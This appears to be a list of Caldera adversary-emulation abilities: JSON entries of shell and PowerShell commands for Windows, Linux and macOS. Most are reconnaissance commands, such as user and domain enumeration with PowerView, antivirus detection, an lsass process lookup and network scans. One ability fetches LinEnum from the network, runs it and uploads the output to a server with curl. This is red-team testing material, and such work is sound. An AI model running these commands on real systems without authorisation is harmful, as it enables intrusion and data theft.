Caldera emulation abilities

[{"platform": "darwin", "executor": "sh", "command": "ps aux | grep -v grep | grep #{remote.port.unauthorized} | awk '{print $2}'\n"}, {"platform": "linux", "executor": "sh", "command": "ps aux | grep -v grep | grep #{remote.port.unauthorized} | awk '{print $2}'\n"}, {"platform": "windows", "executor": "psh,pwsh", "command": "Get-NetTCPConnection -RemotePort \"#{remote.port.unauthorized}\" -EA silentlycontinue | where-object { write-host $_.OwningProcess }\n"}]

[{"platform": "linux", "executor": "sh", "command": "directory=\"#{directory.sensitive.path}\";\nif [ -d $directory ];\n  then tar -czf /tmp/dir_sens_comp -C $directory .;\n  hash=$(sha256sum /tmp/dir_sens_comp | cut -d' ' -f1);\n  rm -f /tmp/dir_sens_comp;\n  if [ \"$hash\" != \"#{directory.sensitive.hash}\" ];\n    then echo $directory;\n  fi;\nelse echo $directory;\nfi;\n"}, {"platform": "darwin", "executor": "sh", "command": "directory=\"#{directory.sensitive.path}\";\nif [ -d $directory ];\n  then tar -cf - -C $directory . | gzip --no-name > /tmp/dir_sens_comp;\n  hash=$(shasum -a 256 /tmp/dir_sens_comp | cut -d' ' -f1);\n  rm -f /tmp/dir_sens_comp;\n  if [ \"$hash\" != \"#{directory.sensitive.hash}\" ];\n    then echo $directory;\n  fi;\nelse echo $directory;\nfi;\n"}, {"platform": "windows", "executor": "psh", "command": "$directory = \"#{directory.sensitive.path}\";\nif (Test-Path -PathType Container $directory) {\n  Compress-Archive -Force -Path $($directory + \"\\*\") -DestinationPath C:\\Users\\Public\\dir_sens_comp.zip;\n  $hash = (Get-FileHash C:\\Users\\Public\\dir_sens_comp.zip).Hash;\n  Remove-Item -Force C:\\Users\\Public\\dir_sens_comp.zip;\n  if ($hash -ne \"#{directory.sensitive.hash}\") {\n    echo $directory;\n  }\n} else {\n  echo $directory;\n}\n"}]

[{"platform": "linux", "executor": "sh", "command": "filepath=\"#{file.sensitive.path}\";\nif [ ! -f $filepath ] || [ \"$(sha256sum $filepath | cut -d' ' -f1)\" != \"#{file.sensitive.hash}\" ];\n  then echo $filepath;\nfi\n"}, {"platform": "darwin", "executor": "sh", "command": "filepath=\"#{file.sensitive.path}\";\nif [ ! -f $filepath ] || [ \"$(shasum -a 256 $filepath | cut -d' ' -f1)\" != \"#{file.sensitive.hash}\" ];\n  then echo $filepath;\nfi\n"}, {"platform": "windows", "executor": "psh", "command": "if (-not (Test-Path -PathType Leaf #{file.sensitive.path}) -or (Get-FileHash #{file.sensitive.path}).Hash -ne \"#{file.sensitive.hash}\") { echo #{file.sensitive.path} }\n"}]

[{"platform": "linux", "executor": "sh", "command": "set -f;\nfor user in $(getent passwd | cut -f1 -d:); do\n  $(crontab -u $user -l 2>/dev/null | grep -v '\\#' | while read -r job; do\n    echo \"${user}>${job}\" >> /tmp/cron_jobs;\n  done);\ndone;\ncat /tmp/cron_jobs | sort > /tmp/new_cronjobs_list.txt;\nnew_jobs=$(comm -13 /tmp/baseline_cronjobs_list.txt /tmp/new_cronjobs_list.txt);\nrm -f /tmp/cron_jobs;\nrm -f /tmp/new_cronjobs_list.txt;\nIFS=$(echo '\\n');\necho $new_jobs;\n"}, {"platform": "darwin", "executor": "sh", "command": "set -f;\nfor user in $(dscl . list /Users | grep -v \"^_\"); do\n  $(crontab -u $user -l 2>/dev/null | grep -v '\\#' | while read -r job; do\n    echo \"${user}>${job}\" >> /tmp/cron_jobs;\n  done);\ndone;\ncat /tmp/cron_jobs | sort > /tmp/new_cronjobs_list.txt;\nnew_jobs=$(comm -13 /tmp/baseline_cronjobs_list.txt /tmp/new_cronjobs_list.txt);\nrm -f /tmp/cron_jobs;\nrm -f /tmp/new_cronjobs_list.txt;\nIFS=$(echo '\\n');\necho $new_jobs;\n"}]

[{"platform": "windows", "executor": "psh", "command": "Get-ScheduledTask > C:\\Users\\Public\\new_schtasks_list.txt;\n$new_schtasks =  $(Get-Content .\\new_schtasks_list.txt) | Where-Object {$_ -notIn $(Get-Content .\\baseline_schtasks_list.txt)} |foreach-object {(-split $_)[1]};\nRemove-Item -Path C:\\Users\\Public\\new_schtasks_list.txt -Force;\n$new_schtasks\n"}]

[{"platform": "linux", "executor": "sh", "command": "find /var/mail -type f -exec grep \"From.*@.*\\..*\" {} \\; | cut -d'@' -f2 | cut -d' ' -f1 | sort --uniq\n"}, {"platform": "darwin", "executor": "sh", "command": "find /var/mail -type f -exec grep \"From.*@.*\\..*\" {} \\; | cut -d'@' -f2 | cut -d' ' -f1 | sort --uniq\n"}]

[{"platform": "windows", "executor": "cmd", "command": "net user /domain"}]

[{"platform": "windows", "executor": "cmd,psh", "command": "net user #{domain.user.name} /domain"}]

[{"platform": "windows", "executor": "psh", "command": "Import-Module .\\powerview.ps1;\n$backup = \"#{backup.admin.ability}\";\n$userName = \"#{domain.user.name}\";\n$userPassword = \"#{domain.user.password}\";\n$secStringPassword = ConvertTo-SecureString $userPassword -AsPlainText -Force;\n$credObject = New-Object System.Management.Automation.PSCredential ($userName, $secStringPassword);\nGet-NetLocalGroupMember -ComputerName #{remote.host.fqdn} -Credential $credObject\n"}]

[{"platform": "windows", "executor": "psh", "command": "$x = Get-Process | Where-Object {$_.MainWindowTitle -ne \"\"} | Select-Object MainWindowTitle;\n$a = New-Object -com \"Shell.Application\"; $b = $a.windows() | select-object LocationName;\nwrite-host ($x | Format-List | Out-String) ($b | Format-List | Out-String)"}]

[{"platform": "darwin", "executor": "sh", "command": "which google-chrome\n"}, {"platform": "linux", "executor": "sh", "command": "which google-chrome\n"}]

[{"platform": "darwin", "executor": "sh", "command": "which go\n"}, {"platform": "linux", "executor": "sh", "command": "which go\n"}]

[{"platform": "darwin", "executor": "sh", "command": "python3 --version;python2 --version;python --version\n"}, {"platform": "linux", "executor": "sh", "command": "python3 --version;python2 --version;python --version\n"}, {"platform": "windows", "executor": "cmd", "command": "python3 --version&python2 --version&python --version\n"}]

[{"platform": "darwin", "executor": "sh", "command": "arp -a"}, {"platform": "linux", "executor": "sh", "command": "arp -a"}, {"platform": "windows", "executor": "psh,cmd", "command": "arp -a"}]

[{"platform": "darwin", "executor": "sh", "command": "whoami\n"}, {"platform": "linux", "executor": "sh", "command": "whoami\n"}, {"platform": "windows", "executor": "psh", "command": "whoami\n"}]

[{"platform": "windows", "executor": "psh", "command": "Import-Module .\\powerview.ps1;\nGet-NetLocalGroupMember -ComputerName #{remote.host.fqdn}\n"}]

[{"platform": "linux", "executor": "sh", "command": "host \"#{target.org.domain}\" | grep mail | grep -oE '[^ ]+$' | rev | cut -c 2- | rev"}, {"platform": "darwin", "executor": "sh", "command": "host \"#{target.org.domain}\" | grep mail | grep -oE '[^ ]+$' | rev | cut -c 2- | rev"}, {"platform": "windows", "executor": "psh", "command": "(nslookup -querytype=mx #{target.org.domain}. | Select-String -pattern 'mail' | Out-String).Trim()\n"}]

[{"platform": "darwin", "executor": "sh", "command": "find /Applications/ -maxdepth 2 -iname *.app | grep -io \"[a-z ]*\\.app\" | grep -Ei -- \"symantec|norton|bitdefender|kapersky|eset|avast|avira|malwarebytes|sophos|(trend micro)\"\n"}, {"platform": "windows", "executor": "psh", "command": "wmic /NAMESPACE:\\\\root\\SecurityCenter2 PATH AntiVirusProduct GET /value\n"}]

[{"platform": "windows", "executor": "cmd", "command": "nltest /dsgetdc:%USERDOMAIN%\n"}, {"platform": "windows", "executor": "psh", "command": "nltest /dsgetdc:$env:USERDOMAIN\n"}]

[{"platform": "windows", "executor": "psh", "command": "$owners = @{};\ngwmi win32_process |% {$owners[$_.handle] = $_.getowner().user};\n$ps = get-process | select processname,Id,@{l=\"Owner\";e={$owners[$_.id.tostring()]}};\n$valid = foreach($p in $ps) { if($p.Owner -eq $env:USERNAME -And $p.ProcessName -eq \"svchost\") {$p} };\n$valid | ConvertTo-Json\n"}]

[{"platform": "windows", "executor": "psh", "command": "Import-Module .\\powerview.ps1;\nGet-DomainComputer\n"}]

[{"platform": "windows", "executor": "psh", "command": "Get-Service"}]

[{"platform": "windows", "executor": "psh", "command": "Get-ChildItem -Path #{host.system.path}\n"}]

[{"platform": "windows", "executor": "psh", "command": "nbtstat -n\n"}]

[{"platform": "windows", "executor": "psh", "command": "nbtstat -A #{remote.host.ip}"}]

[{"platform": "windows", "executor": "psh", "command": "$ps = get-process | select processname,Id;\n$valid = foreach($p in $ps) { if($p.ProcessName -eq \"lsass\") {$p} };\n$valid | ConvertTo-Json\n"}, {"platform": "windows", "executor": "cmd", "command": ""}]

[{"platform": "windows", "executor": "psh", "command": "[environment]::OSVersion.Version\n"}]

[{"platform": "darwin", "executor": "sh", "command": "netstat -anto\n"}, {"platform": "linux", "executor": "sh", "command": "netstat -anto\n"}, {"platform": "windows", "executor": "psh", "command": "netstat -anto;\nGet-NetTCPConnection\n"}]

[{"platform": "darwin", "executor": "sh", "command": "find / -type d -user #{host.user.name} \\( -perm -g+w -or -perm -o+w \\) 2>/dev/null -exec ls -adl {} \\;\n"}, {"platform": "linux", "executor": "sh", "command": "find / -type d -user #{host.user.name} \\( -perm -g+w -or -perm -o+w \\) 2>/dev/null -exec ls -adl {} \\;\n"}]

[{"platform": "darwin", "executor": "sh", "command": "cut -d: -f1 /etc/passwd | grep -v '_' | grep -v '#'\n"}, {"platform": "linux", "executor": "sh", "command": "cut -d: -f1 /etc/passwd | grep -v '_' | grep -v '#'\n"}]

[{"platform": "darwin", "executor": "sh", "command": "ps aux | grep #{host.user.name}\n"}, {"platform": "linux", "executor": "sh", "command": "ps aux | grep #{host.user.name}\n"}, {"platform": "windows", "executor": "psh", "command": "$owners = @{};\ngwmi win32_process |% {$owners[$_.handle] = $_.getowner().user};\n$ps = get-process | select processname,Id,@{l=\"Owner\";e={$owners[$_.id.tostring()]}};\nforeach($p in $ps) {\n    if($p.Owner -eq \"#{host.user.name}\") {\n        $p;\n    }\n}\n"}]

[{"platform": "darwin", "executor": "sh", "command": "nmap -sV -p #{remote.host.port} #{remote.host.ip}\n"}, {"platform": "linux", "executor": "sh", "command": "nmap -sV -p #{remote.host.port} #{remote.host.ip}\n"}]

[{"platform": "darwin", "executor": "sh", "command": "cat ~/Library/Application\\ Support/Google/Chrome/Default/Bookmarks\n"}]

[{"platform": "darwin", "executor": "sh", "command": "date -u +\"%Y-%m-%dT%H:%M:%SZ\"\n"}, {"platform": "linux", "executor": "sh", "command": "date -u +\"%Y-%m-%dT%H:%M:%SZ\"\n"}, {"platform": "windows", "executor": "psh", "command": "Get-Date -UFormat '+%Y-%m-%dT%H:%M:%SZ'\n"}]

[{"platform": "windows", "executor": "psh", "command": "Import-Module .\\powerview.ps1 -Force;\nGet-NetUser -AdminCount | ConvertTo-Json -Depth 1\n"}]

[{"platform": "windows", "executor": "psh", "command": "Import-Module .\\PowerView.ps1 -Force;\nGet-NetComputer\n"}]

[{"platform": "windows", "executor": "psh", "command": "Import-Module .\\powerview.ps1 -Force;\nGet-NetDomain | ConvertTo-Json -Depth 1\n"}]

[{"platform": "windows", "executor": "psh", "command": "Import-Module .\\powerview.ps1 -Force;\nGet-NetUser -SPN | ConvertTo-Json -Depth 1\n"}]

[{"platform": "windows", "executor": "psh", "command": "$NameSpace = Get-WmiObject -Namespace \"root\" -Class \"__Namespace\" | Select Name | Out-String -Stream | Select-String \"SecurityCenter\";\n$SecurityCenter = $NameSpace | Select-Object -First 1;\nGet-WmiObject -Namespace \"root\\$SecurityCenter\" -Class AntiVirusProduct | Select DisplayName, InstanceGuid, PathToSignedProductExe, PathToSignedReportingExe, ProductState, Timestamp | Format-List;\n"}]

[{"platform": "darwin", "executor": "sh", "command": "whoami"}, {"platform": "linux", "executor": "sh", "command": "whoami"}, {"platform": "windows", "executor": "psh", "command": "$env:username\n"}, {"platform": "windows", "executor": "cmd", "command": "echo %username%"}]

[{"platform": "darwin", "executor": "sh", "command": "dscl . list /Users | grep -v '_'\n"}, {"platform": "windows", "executor": "psh", "command": "Get-WmiObject -Class Win32_UserAccount\n"}]

[{"platform": "windows", "executor": "psh", "command": "(Get-ItemProperty 'HKLM:\\SOFTWARE\\Microsoft\\Internet Explorer').Version\n"}]

[{"platform": "linux", "executor": "sh", "command": "wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh;\nchmod +x LinEnum.sh;\n./LinEnum.sh > /tmp/exfil.txt;\ncurl -F 'data=@/tmp/exfil.txt' #{server}/file/upload ;\ncat /tmp/exfil.txt;\n"}]

[{"platform": "darwin", "executor": "sh", "command": "ls\n"}, {"platform": "linux", "executor": "sh", "command": "ls\n"}, {"platform": "windows", "executor": "psh", "command": "dir\n"}]

[]

[{"platform": "linux", "executor": "sh", "command": "find ~ -type f -name #{host.print.file} 2>/dev/null"}, {"platform": "darwin", "executor": "sh", "command": "find ~ -type f -name #{host.print.file} 2>/dev/null"}]

[{"platform": "darwin", "executor": "sh", "command": "sudo ifconfig\n"}, {"platform": "linux", "executor": "sh", "command": "sudo ifconfig\n"}, {"platform": "windows", "executor": "psh", "command": "ipconfig\n"}]

[{"platform": "windows", "executor": "psh", "command": "Import-Module ./basic_scanner.ps1;\n$ports = @(22, 53, 80, 445);\nGet-NetIPConfiguration | ?{$_.NetAdapter.Status -ne \"Disconnected\"} | Get-NetIPaddress -AddressFamily IPv4 | %{\n    $ipv4 = $_.IPAddress;\n    $prefixLength = $_.PrefixLength;\n    Scan-Netrange -ipv4 $ipv4 -prefixLength $prefixLength -ports $ports;\n};\n"}]

[{"platform": "darwin", "executor": "sh", "command": "cat ~/.ssh/known_hosts\n"}, {"platform": "linux", "executor": "sh", "command": "cat ~/.ssh/known_hosts\n"}]

[{"platform": "darwin", "executor": "sh", "command": "pwpolicy getaccountpolicies\n"}, {"platform": "linux", "executor": "sh", "command": "cat /etc/pam.d/common-password\n"}, {"platform": "windows", "executor": "psh", "command": "net accounts"}]